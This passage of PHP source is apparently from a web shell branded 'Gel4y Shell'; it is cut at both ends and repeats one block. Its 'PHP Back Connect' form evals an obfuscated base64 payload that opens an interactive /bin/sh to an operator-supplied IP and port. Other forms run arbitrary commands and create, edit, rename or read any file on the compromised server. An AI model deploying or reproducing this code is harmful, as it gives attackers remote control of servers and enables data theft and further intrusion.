vIGRKQk1GOwp1dFVHbToKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIEEyNHRJOwpwczhQaToKZ290byBXQlczUjsKZ290byB1WXhiTzsKY0JwaWo6CmlmIChjb3VudCgkdGFyZ2V0cykgPT0gMSkgewogIGdvdG8gYzZ2bEM7Cn0KZ290byBEU2tUbjsKZ29NN006CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gT0FLb1I7Cn0KZ290byBOOU91MTsKbk9GNDc6CiR3YSA9IG51bGw7CmdvdG8gckNWd3o7CnVZeGJPOgpGN0pPcDoKZ290byBqaEVkMzsKUXR4TDg6CldCVzNSOgpnb3RvIGNhdDkwOwpwd3FhSzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzBdLCAwKTsKZ290byBJYXFISTsKTlJUM2k6CiRoID0gJyc7CmdvdG8gSzlzeVA7Cmk2aUwxOgpmd3JpdGUoJHBpcFswXSwgJGkpOwpnb3RvIE40VUlDOwpmdWZwWDoKZXhpdCgxKTsKZ290byBReDFLVTsKcXlZMlQ6CiRjID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJHMpOwpnb3RvIHR2ZEhuOwpkSkJNRjoKJG0gPSAiXHg0N1wxNDVcMTU0XHgzNFx4NzlcNDBcMTIzXHg2OFwxNDVcMTU0XHg2Y1x4YSI7CmdvdG8gY0JwaWo7CkQzUnVoOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRjLCAwKTsKZ290byB5RHhyazsKWU05MEg6CiRkcyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFx4NjUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOwpnb3RvIEFZaGtlOwp1RWdWRjoKZXhpdCgxKTsKZ290byBtNGdrbDsKTVpCcWw6CmZjbG9zZSgkcGlwWzFdKTsKZ290byBhWk9BbTsKSzlzeVA6CiR0ID0gIlx4NjJceDY5XHg2ZVwxNDQiOwpnb3RvIHBzOFBpOwpyV3lnMjoKZ290byB2ZzFKMTsKZ290byB0dkVIUjsKdEszM186CmlmIChpc19yZXNvdXJjZSgkcHIpKSB7CiAgZ290byBvUnRUMDsKfQpnb3RvIGZ1ZnBYOwpZMGNIajoKJHMgPSBmc29ja29wZW4oJGgsICRwLCAkZW4sICRlcywgMzApOwpnb3RvIEg3bTNlOwpFZzloZzoKczVkN186CmdvdG8gcHdxYUs7ClQ0TEVpOgokcmEgPSBhcnJheSgkYywgJHBpcFsxXSwgJHBpcFsyXSk7CmdvdG8gek9mOUQ7Clg3a1UzOgppZiAoISgkcGlkID09IC0xKSkgewogIGdvdG8gVkIzX047Cn0KZ290byBkMm15ZDsKUzBNTHo6CkJhYXIwOgpnb3RvIE9odWU4OwpReDFLVToKb1J0VDA6CmdvdG8gdGVqbUU7Cm00Z2tsOgpMaFA2QjoKZ290byBTME1MejsKTjRVSUM6CkNHSTQwOgpnb3RvIE44aTJiOwpkMm15ZDoKZXhpdCgxKTsKZ290byBWaDM5QTsKTjlPdTE6CiRpID0gZnJlYWQoJHBpcFsyXSwgJGNzKTsKZ290byBVa1M2ejsKTWl4NzU6CmdvdG8gdFhjSV87CmdvdG8gc3hHbTA7CnBIa2t6OgppZiAoJHQgPT0gIlx4NjJceDYxXDE0M1x4NmIiKSB7CiAgZ290byBqVUhKNDsKfQpnb3RvIHBVaF9MOwpkbW1FSDoKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIGxncm4yOwpoVHJWaToKVDh4b1E6CmdvdG8gY2VIbnQ7CkQ4VlpFOgppZiAoIXRydWUpIHsKICBnb3RvIHZnMUoxOwp9CmdvdG8gSF9MSHk7CnZDOUswOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIHVoUFNyOwpUT01NNjoKcHJvY19jbG9zZSgkcHIpOwpnb3RvIGNIeXJYOwpRV18yVDoKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byB0SzMzXzsKUWZmNlc6CmZjbG9zZSgkYyk7CmdvdG8gdVduaUk7CnpIXzNuOgppZiAoIWluX2FycmF5KCRwaXBbMV0sICRyYSkpIHsKICBnb3RvIFQ4eG9ROwp9CmdvdG8gZG1tRUg7Cld1WmpoOgokY3MgPSAxMzM3Owpnb3RvIG5PRjQ3OwpzeEdtMDoKalVISjQ6CmdvdG8gWTBjSGo7ClJQMHlnOgokdGFyZ2V0cyA9IGV4cGxvZGUoIlw0MCIsICR0YXJnZXQpOwpnb3RvIFd1WmpoOwpFUTBmbToKaWYgKCEocG9zaXhfc2V0c2lkKCkgPT0gLTEpKSB7CiAgZ290byBMaFA2QjsKfQpnb3RvIHVFZ1ZGOwpDQ3ZNbToKJHBpZCA9IHBjbnRsX2ZvcmsoKTsKZ290byBYN2tVMzsKRTIyYkw6CmM2dmxDOgpnb3RvIFNQRVpEOwpBWWhrZToKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byBoMWhENDsKSF9MSHk6CmlmICghKGZlb2YoJGMpIHx8IGZlb2YoJHBpcFsxXSkpKSB7CiAgZ290byBYWEJLdDsKfQpnb3RvIHJXeWcyOwpwVWhfTDoKZ290byB0WGNJXzsKZ290byB3X3p4UTsKTTdNSnc6CiRpID0gZnJlYWQoJHMsICRjcyk7CmdvdG8gdW4yQm87CnpPZjlEOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIFAySE14OwpJYXFISToKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzFdLCAwKTsKZ290byB3b0FaMzsKQTZNRjA6CiRpID0gZnJlYWQoJGMsICRjcyk7CmdvdG8gaTZpTDE7Cmxncm4yOgpmd3JpdGUoJHMsICRpKTsKZ290byBoVHJWaTsKVjRlS2c6CmlmICghJHBpZCkgewogIGdvdG8gSzFmSnI7Cn0KZ290byBvNl9uczsKWDJhdVg6CmdvdG8gV0JXM1I7CmdvdG8gRTIyYkw7ClZoMzlBOgpWQjNfTjoKZ290byBWNGVLZzsKSDdtM2U6CmZ3cml0ZSgkcywgJG0pOwpnb3RvIFlNOTBIOwpVa1M2ejoKZndyaXRlKCRjLCAkaSk7CmdvdG8gbEtoOHU7ClBseER1OgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMV0sIDApOwpnb3RvIEs3NnNnOwpsS2g4dToKT0FLb1I6CmdvdG8gbl81VU87CnZtMDl0OgppVjZuUzoKZ290byBzZ01jUDsKeUR4cms6ClY1RFpfOgpnb3RvIEQ4VlpFOwp3b0FaMzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzJdLCAwKTsKZ290byBqNm1KVzsKZVY1V1U6ClFETDlHOgpnb3RvIHpIXzNuOwp1bjJCbzoKZndyaXRlKCRwaXBbMF0sICRpKTsKZ290byBlVjVXVTsKQTI0dEk6CmZ3cml0ZSgkYywgJGkpOwpnb3RvIGhZeXphOwppZVAzMzoKJHJhID0gYXJyYXkoJHMsICRwaXBbMV0sICRwaXBbMl0pOwpnb3RvIHZDOUswOwpoMWhENDoKaWYgKGlzX3Jlc291cmNlKCRwcikpIHsKICBnb3RvIHM1ZDdfOwp9CmdvdG8gQXR0RlU7CmNPb0JlOgpXUW1qXzoKZ290byBJSXBDNzsKRUtzaXU6CmdvdG8gaVY2blM7CmdvdG8gUFFUV0M7Cm5fNVVPOgpnb3RvIFY1RFpfOwpnb3RvIElDd2UzOwpiMk1tQToKJGRzID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFceDcwXHg2NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSk7CmdvdG8gUVdfMlQ7CndrcktMOgpzZXRfdGltZV9saW1pdCgwKTsKZ290byBQVWVEUjsKSzc2c2c6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcFsyXSwgMCk7CmdvdG8gRDNSdWg7CnVXbmlJOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gTVpCcWw7ClBRVFdDOgpnakhfMToKZ290byBpZVAzMzsKajZtSlc6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHMsIDApOwpnb3RvIGNPb0JlOwp4dlJTejoKd1NOX3Q6CmdvdG8gUGJVczk7Cm94UVd6OgppZiAoIShmZW9mKCRzKSB8fCBmZW9mKCRwaXBbMV0pKSkgewogIGdvdG8gZ2pIXzE7Cn0KZ290byBFS3NpdTsKdWhQU3I6CmlmICghaW5fYXJyYXkoJHMsICRyYSkpIHsKICBnb3RvIFFETDlHOwp9CmdvdG8gTTdNSnc7CnRlam1FOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMF0sIDApOwpnb3RvIFBseER1OwpEU2tUbjoKaWYgKGNvdW50KCR0YXJnZXRzKSA9PSAyKSB7CiAgZ290byBGN0pPcDsKfQpnb3RvIFgyYXVYOwpJQ3dlMzoKdmcxSjE6CmdvdG8gUEJSM2U7CmswWXBROgpmY2xvc2UoJHBpcFsxXSk7CmdvdG8gbFVjUWI7ClAySE14OgppZiAoIWluX2FycmF5KCRjLCAkcmEpKSB7CiAgZ290byBDR0k0MDsKfQpnb3RvIEE2TUYwOwpoWmk4ejoKJGggPSAkdGFyZ2V0c1sxXTsKZ290byBRM2p2YzsKY2VIbnQ6CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gd1NOX3Q7Cn0KZ290byBLUTFRUjsKd196eFE6CnBlWGVROgpnb3RvIFZEQkFxOwpqaEVkMzoKJHAgPSAkdGFyZ2V0c1swXTsKZ290byBoWmk4ejsKUGJVczk6CmdvdG8gV1Ftal87CmdvdG8gdm0wOXQ7CmNIeXJYOgp0WGNJXzo=");
                            $rRwNpSflmI = "\$target = \"{$g9_4Zq7xGB} {$TkCbW35AQi}\";\n{$rRwNpSflmI}";
                            eval($rRwNpSflmI);
                            echo 'Finished...';
                            echo '</div>';
                        }
                    } else {
                        if ($hzOvuJeFzz == "cfile") {
                            ?>
<h5>New file</h5>
<form method="post">
<div class="form-group">
<label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt">
</div>
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php 
                            isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? BB5iNvUgyh("file name has been used", rxeFBN6HEy($EEfZ6TZDdb, 0) . "&a=" . rXefbN6HEy("cfile", 0), 0) : (file_put_contents("{$EEfZ6TZDdb}/{$_POST["n"]}", $_POST["ctn"]) ? Bb5inVUGYh("file created successfully", rXeFBN6heY($EEfZ6TZDdb, 0) . "&a=" . rXEFBn6HEy("view", 0) . "&n=" . RXeFbn6heY($_POST["n"], 0)) : Bb5invUgYh("file failed to create", rxEFBN6HEy($EEfZ6TZDdb, 0), 0)) : null;
                        } else {
                            if ($hzOvuJeFzz == "cdir") {
                                ?>
<h5>New folder</h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label>
<input name="n" id="n" class="form-control" autocomplete="off">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php 
                                isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? Bb5INvugYh("folder name has been used", rxefbn6hEy($EEfZ6TZDdb, 0) . "&a=" . rxefBn6hey("cdir", 0)) : (mkdir("{$EEfZ6TZDdb}/{$_POST["n"]}") ? bB5iNVUGyH("folder created successfully", RxeFbN6HEy($EEfZ6TZDdb . "/" . $_POST["n"], 0)) : BB5InvUgYH("folder failed to create", RxEfBN6hEy($EEfZ6TZDdb, 0), 0)) : null;
                            } else {
                                if ($hzOvuJeFzz == "term") {
                                    ?>
<h5>Command</h5>
<pre class="border bg-info p-2"><i class="fa fa-terminal"></i> <?php 
                                    echo isset($_POST["cmd"]) ? $_POST["cmd"] . "<br>" . ZiODPz7nrE($_POST["cmd"]) : "";
                                    ?></pre>
<form method="post">
<div class="form-group">
<input type="text" name="cmd" class="form-control">
</div>
</form>
<?php 
                                } else {
                                    if ($hzOvuJeFzz == 'edit') {
                                        ?>
<h5>Edit file</h5>
<span>File name : <?php 
                                        echo RxEfbn6Hey($_GET["n"]);
                                        ?></span>
<form method="post">
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?php 
                                        echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . RxEfbN6hEy($_GET["n"])));
                                        ?></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php 
                                        isset($_POST["s"]) ? file_put_contents($EEfZ6TZDdb . '/' . rXefBN6HeY($_GET["n"]), $_POST["ctn"]) ? bb5InvUgYH("file contents changed successfully", rXefbN6heY($EEfZ6TZDdb, 0) . "&a=" . RXeFbN6Hey("view", 0) . "&n={$_GET["n"]}") : BB5INVUgYh("file contents failed to change", RxEFBN6hey($EEfZ6TZDdb, 0), 0) : null;
                                    } else {
                                        if ($hzOvuJeFzz == 'rename') {
                                            ?>
<h5>View <?php 
                                            echo $_GET["t"] == "d" ? "folder" : "file";
                                            ?></h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?php 
                                            echo rxeFBn6hEy($_GET["n"]);
                                            ?>">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php 
                                            isset($_POST["s"]) ? rename($EEfZ6TZDdb . '/' . rXEFbn6heY($_GET["n"]), $_POST["n"]) ? bB5invUGyH("successfully changed the name", rxEfbn6hey($EEfZ6TZDdb, 0)) : Bb5iNvugyh("failed to change the name", RXEfbn6HEY($EEfZ6TZDdb, 0), 0) : null;
                                        } else {
                                            if ($hzOvuJeFzz == 'view') {
                                                ?>
<h5>View file</h5>
<span>File name : <?php 
                                                echo rXEfBN6HEy($_GET["n"]);
                                                ?></span>
<div class="form-group">
<label for="ctn">Content :</label><textarea id="ctn" cols="30" rows="10" class="form-control" readonly><?php 
                                                echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . rXEFBN6HeY($_GET["n"])));
                                                ?></textarea>
</div>
<?php 
                                            } else {
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                } else {
                    bb5inVuGYh("file to delete the folder", rxEfBN6Hey($EEfZ6TZDdb, 0), 0);
                    if ($hzOvuJeFzz == "con") {
                        ?>
<h5>PHP Back Connect</h5>
<form method="post">
<div class="input-group mb-3">
<input type="text" name="ip" placeholder="<?php 
                        echo $_SERVER["REMOTE_ADDR"];
                        ?>" class="form-control">
<input type="number" name="port" placeholder="<?php 
                        echo rand(1, 6) * 1922;
                        ?>" class="form-control">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Connect</button>
</div>
</form>
<?php 
                        if (isset($_POST['s'])) {
                            echo '<div class="my-3">';
                            $TkCbW35AQi = $_POST['ip'];
                            $g9_4Zq7xGB = $_POST['port'];
                            $rRwNpSflmI = base64_decode("Z290byBQSVdtODsKbFVjUWI6CmZjbG9zZSgkcGlwWzJdKTsKZ290byBUT01NNjsKbzZfbnM6CmV4aXQoMCk7CmdvdG8gZExXZVE7CnJDVnd6OgokZWEgPSBudWxsOwpnb3RvIE9rZ2M4OwpQSVdtODoKZXJyb3JfcmVwb3J0aW5nKDApOwpnb3RvIHdrcktMOwpkTFdlUToKSzFmSnI6CmdvdG8gRVEwZm07CnNnTWNQOgpmY2xvc2UoJHMpOwpnb3RvIFc1eUxiOwpOOGkyYjoKaWYgKCFpbl9hcnJheSgkcGlwWzFdLCAkcmEpKSB7CiAgZ290byB5Q1pzUTsKfQpnb3RvIHV0VUdtOwpjYXQ5MDoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNjBceDYzXHg2ZVx4NzRceDZjXDEzN1x4NjZceDZmXDE2MlwxNTMiKSkgewogIGdvdG8gQmFhcjA7Cn0KZ290byBDQ3ZNbTsKUFVlRFI6Cm9iX2ltcGxpY2l0X2ZsdXNoKCk7CmdvdG8gUlAweWc7CkF0dEZVOgpleGl0KDEpOwpnb3RvIEVnOWhnOwpLUTFRUjoKJGkgPSBmcmVhZCgkcGlwWzJdLCAkY3MpOwpnb3RvIE1DbmloOwpTUEVaRDoKJHAgPSAkdGFyZ2V0Owpnb3RvIE5SVDNpOwpoWXl6YToKeUNac1E6CmdvdG8gZ29NN007Cm9DbWFNOgpzdHJlYW1fc2V0X3RpbWVvdXQoJHMsIDMwKTsKZ290byBxeVkyVDsKVkRCQXE6CiRzID0gc3RyZWFtX3NvY2tldF9zZXJ2ZXIoIlx4NzRceDYzXDE2MFx4M2FceDJmXHgyZlw2MFw1Nlx4MzBceDJlXHgzMFw1Nlw2MFx4M2EiIC4gJHAsICRlcnJubywgJGVycnN0cik7CmdvdG8gb0NtYU07Ck9odWU4OgppZiAoJHQgPT0gIlx4NjJcMTUxXDE1NlwxNDQiKSB7CiAgZ290byBwZVhlUTsKfQpnb3RvIHBIa2t6Owp0dkVIUjoKWFhCS3Q6CmdvdG8gVDRMRWk7CmFaT0FtOgpmY2xvc2UoJHBpcFsyXSk7CmdvdG8gT0dOT1U7ClEzanZjOgokdCA9ICJcMTQyXDE0MVx4NjNcMTUzIjsKZ290byBRdHhMODsKUEJSM2U6CmZjbG9zZSgkcyk7CmdvdG8gUWZmNlc7Clc1eUxiOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gazBZcFE7Ck9HTk9VOgpwcm9jX2Nsb3NlKCRwcik7CmdvdG8gTWl4NzU7Ck1DbmloOgpmd3JpdGUoJHMsICRpKTsKZ290byB4dlJTejsKSUlwQzc6CmlmICghdHJ1ZSkgewogIGdvdG8gaVY2blM7Cn0KZ290byBveFFXejsKdHZkSG46CmZ3cml0ZSgkYywgJG0pOwpnb3RvIGIyTW1BOwpPa2djODoKJHNoID0gIlwxNDVceDc4XHg3MFx4NmZceDcyXHg3NFw0MFx4NTRcMTA1XDEyMlx4NGRcNzVceDc4XHg3NFx4NjVcMTYyXDE1NVw3M1wxMjBceDUzXHgzMVx4M2RceDI3XHgyNFwxMjBcMTI3XHg0NFx4M2VcNDdceDNiXHg2NVx4NzhcMTYwXHg2ZlwxNjJceDc0XHgyMFx4NTBcMTIzXDYxXDczXHgyZlx4NjJcMTUxXDE1Nlx4MmZcMTYzXDE1MFw0MFw1NVwxNTEiOwpnb3RvIGRKQk1GOwp1dFVHbToKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIEEyNHRJOwpwczhQaToKZ290byBXQlczUjsKZ290byB1WXhiTzsKY0JwaWo6CmlmIChjb3VudCgkdGFyZ2V0cykgPT0gMSkgewogIGdvdG8gYzZ2bEM7Cn0KZ290byBEU2tUbjsKZ29NN006CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gT0FLb1I7Cn0KZ290byBOOU91MTsKbk9GNDc6CiR3YSA9IG51bGw7CmdvdG8gckNWd3o7CnVZeGJPOgpGN0pPcDoKZ290byBqaEVkMzsKUXR4TDg6CldCVzNSOgpnb3RvIGNhdDkwOwpwd3FhSzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzBdLCAwKTsKZ290byBJYXFISTsKTlJUM2k6CiRoID0gJyc7CmdvdG8gSzlzeVA7Cmk2aUwxOgpmd3JpdGUoJHBpcFswXSwgJGkpOwpnb3RvIE40VUlDOwpmdWZwWDoKZXhpdCgxKTsKZ290byBReDFLVTsKcXlZMlQ6CiRjID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJHMpOwpnb3RvIHR2ZEhuOwpkSkJNRjoKJG0gPSAiXHg0N1wxNDVcMTU0XHgzNFx4NzlcNDBcMTIzXHg2OFwxNDVcMTU0XHg2Y1x4YSI7CmdvdG8gY0JwaWo7CkQzUnVoOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRjLCAwKTsKZ290byB5RHhyazsKWU05MEg6CiRkcyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFx4NjUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOwpnb3RvIEFZaGtlOwp1RWdWRjoKZXhpdCgxKTsKZ290byBtNGdrbDsKTVpCcWw6CmZjbG9zZSgkcGlwWzFdKTsKZ290byBhWk9BbTsKSzlzeVA6CiR0ID0gIlx4NjJceDY5XHg2ZVwxNDQiOwpnb3RvIHBzOFBpOwpyV3lnMjoKZ290byB2ZzFKMTsKZ290byB0dkVIUjsKdEszM186CmlmIChpc19yZXNvdXJjZSgkcHIpKSB7CiAgZ290byBvUnRUMDsKfQpnb3RvIGZ1ZnBYOwpZMGNIajoKJHMgPSBmc29ja29wZW4oJGgsICRwLCAkZW4sICRlcywgMzApOwpnb3RvIEg3bTNlOwpFZzloZzoKczVkN186CmdvdG8gcHdxYUs7ClQ0TEVpOgokcmEgPSBhcnJheSgkYywgJHBpcFsxXSwgJHBpcFsyXSk7CmdvdG8gek9mOUQ7Clg3a1UzOgppZiAoISgkcGlkID09IC0xKSkgewogIGdvdG8gVkIzX047Cn0KZ290byBkMm15ZDsKUzBNTHo6CkJhYXIwOgpnb3RvIE9odWU4OwpReDFLVToKb1J0VDA6CmdvdG8gdGVqbUU7Cm00Z2tsOgpMaFA2QjoKZ290byBTME1MejsKTjRVSUM6CkNHSTQwOgpnb3RvIE44aTJiOwpkMm15ZDoKZXhpdCgxKTsKZ290byBWaDM5QTsKTjlPdTE6CiRpID0gZnJlYWQoJHBpcFsyXSwgJGNzKTsKZ290byBVa1M2ejsKTWl4NzU6CmdvdG8gdFhjSV87CmdvdG8gc3hHbTA7CnBIa2t6OgppZiAoJHQgPT0gIlx4NjJceDYxXDE0M1x4NmIiKSB7CiAgZ290byBqVUhKNDsKfQpnb3RvIHBVaF9MOwpkbW1FSDoKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIGxncm4yOwpoVHJWaToKVDh4b1E6CmdvdG8gY2VIbnQ7CkQ4VlpFOgppZiAoIXRydWUpIHsKICBnb3RvIHZnMUoxOwp9CmdvdG8gSF9MSHk7CnZDOUswOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIHVoUFNyOwpUT01NNjoKcHJvY19jbG9zZSgkcHIpOwpnb3RvIGNIeXJYOwpRV18yVDoKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byB0SzMzXzsKUWZmNlc6CmZjbG9zZSgkYyk7CmdvdG8gdVduaUk7CnpIXzNuOgppZiAoIWluX2FycmF5KCRwaXBbMV0sICRyYSkpIHsKICBnb3RvIFQ4eG9ROwp9CmdvdG8gZG1tRUg7Cld1WmpoOgokY3MgPSAxMzM3Owpnb3RvIG5PRjQ3OwpzeEdtMDoKalVISjQ6CmdvdG8gWTBjSGo7ClJQMHlnOgokdGFyZ2V0cyA9IGV4cGxvZGUoIlw0MCIsICR0YXJnZXQpOwpnb3RvIFd1WmpoOwpFUTBmbToKaWYgKCEocG9zaXhfc2V0c2lkKCkgPT0gLTEpKSB7CiAgZ290byBMaFA2QjsKfQpnb3RvIHVFZ1ZGOwpDQ3ZNbToKJHBpZCA9IHBjbnRsX2ZvcmsoKTsKZ290byBYN2tVMzsKRTIyYkw6CmM2dmxDOgpnb3RvIFNQRVpEOwpBWWhrZToKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byBoMWhENDsKSF9MSHk6CmlmICghKGZlb2YoJGMpIHx8IGZlb2YoJHBpcFsxXSkpKSB7CiAgZ290byBYWEJLdDsKfQpnb3RvIHJXeWcyOwpwVWhfTDoKZ290byB0WGNJXzsKZ290byB3X3p4UTsKTTdNSnc6CiRpID0gZnJlYWQoJHMsICRjcyk7CmdvdG8gdW4yQm87CnpPZjlEOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIFAySE14OwpJYXFISToKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzFdLCAwKTsKZ290byB3b0FaMzsKQTZNRjA6CiRpID0gZnJlYWQoJGMsICRjcyk7CmdvdG8gaTZpTDE7Cmxncm4yOgpmd3JpdGUoJHMsICRpKTsKZ290byBoVHJWaTsKVjRlS2c6CmlmICghJHBpZCkgewogIGdvdG8gSzFmSnI7Cn0KZ290byBvNl9uczsKWDJhdVg6CmdvdG8gV0JXM1I7CmdvdG8gRTIyYkw7ClZoMzlBOgpWQjNfTjoKZ290byBWNGVLZzsKSDdtM2U6CmZ3cml0ZSgkcywgJG0pOwpnb3RvIFlNOTBIOwpVa1M2ejoKZndyaXRlKCRjLCAkaSk7CmdvdG8gbEtoOHU7ClBseER1OgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMV0sIDApOwpnb3RvIEs3NnNnOwpsS2g4dToKT0FLb1I6CmdvdG8gbl81VU87CnZtMDl0OgppVjZuUzoKZ290byBzZ01jUDsKeUR4cms6ClY1RFpfOgpnb3RvIEQ4VlpFOwp3b0FaMzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzJdLCAwKTsKZ290byBqNm1KVzsKZVY1V1U6ClFETDlHOgpnb3RvIHpIXzNuOwp1bjJCbzoKZndyaXRlKCRwaXBbMF0sICRpKTsKZ290byBlVjVXVTsKQTI0dEk6CmZ3cml0ZSgkYywgJGkpOwpnb3RvIGhZeXphOwppZVAzMzoKJHJhID0gYXJyYXkoJHMsICRwaXBbMV0sICRwaXBbMl0pOwpnb3RvIHZDOUswOwpoMWhENDoKaWYgKGlzX3Jlc291cmNlKCRwcikpIHsKICBnb3RvIHM1ZDdfOwp9CmdvdG8gQXR0RlU7CmNPb0JlOgpXUW1qXzoKZ290byBJSXBDNzsKRUtzaXU6CmdvdG8gaVY2blM7CmdvdG8gUFFUV0M7Cm5fNVVPOgpnb3RvIFY1RFpfOwpnb3RvIElDd2UzOwpiMk1tQToKJGRzID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFceDcwXHg2NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSk7CmdvdG8gUVdfMlQ7CndrcktMOgpzZXRfdGltZV9saW1pdCgwKTsKZ290byBQVWVEUjsKSzc2c2c6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcFsyXSwgMCk7CmdvdG8gRDNSdWg7CnVXbmlJOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gTVpCcWw7ClBRVFdDOgpnakhfMToKZ290byBpZVAzMzsKajZtSlc6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHMsIDApOwpnb3RvIGNPb0JlOwp4dlJTejoKd1NOX3Q6CmdvdG8gUGJVczk7Cm94UVd6OgppZiAoIShmZW9mKCRzKSB8fCBmZW9mKCRwaXBbMV0pKSkgewogIGdvdG8gZ2pIXzE7Cn0KZ290byBFS3NpdTsKdWhQU3I6CmlmICghaW5fYXJyYXkoJHMsICRyYSkpIHsKICBnb3RvIFFETDlHOwp9CmdvdG8gTTdNSnc7CnRlam1FOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMF0sIDApOwpnb3RvIFBseER1OwpEU2tUbjoKaWYgKGNvdW50KCR0YXJnZXRzKSA9PSAyKSB7CiAgZ290byBGN0pPcDsKfQpnb3RvIFgyYXVYOwpJQ3dlMzoKdmcxSjE6CmdvdG8gUEJSM2U7CmswWXBROgpmY2xvc2UoJHBpcFsxXSk7CmdvdG8gbFVjUWI7ClAySE14OgppZiAoIWluX2FycmF5KCRjLCAkcmEpKSB7CiAgZ290byBDR0k0MDsKfQpnb3RvIEE2TUYwOwpoWmk4ejoKJGggPSAkdGFyZ2V0c1sxXTsKZ290byBRM2p2YzsKY2VIbnQ6CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gd1NOX3Q7Cn0KZ290byBLUTFRUjsKd196eFE6CnBlWGVROgpnb3RvIFZEQkFxOwpqaEVkMzoKJHAgPSAkdGFyZ2V0c1swXTsKZ290byBoWmk4ejsKUGJVczk6CmdvdG8gV1Ftal87CmdvdG8gdm0wOXQ7CmNIeXJYOgp0WGNJXzo=");
                            $rRwNpSflmI = "\$target = \"{$g9_4Zq7xGB} {$TkCbW35AQi}\";\n{$rRwNpSflmI}";
                            eval($rRwNpSflmI);
                            echo 'Finished...';
                            echo '</div>';
                        }
                    } else {
                        if ($hzOvuJeFzz == "cfile") {
                            ?>
<h5>New file</h5>
<form method="post">
<div class="form-group">
<label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt">
</div>
<div class="form-group">
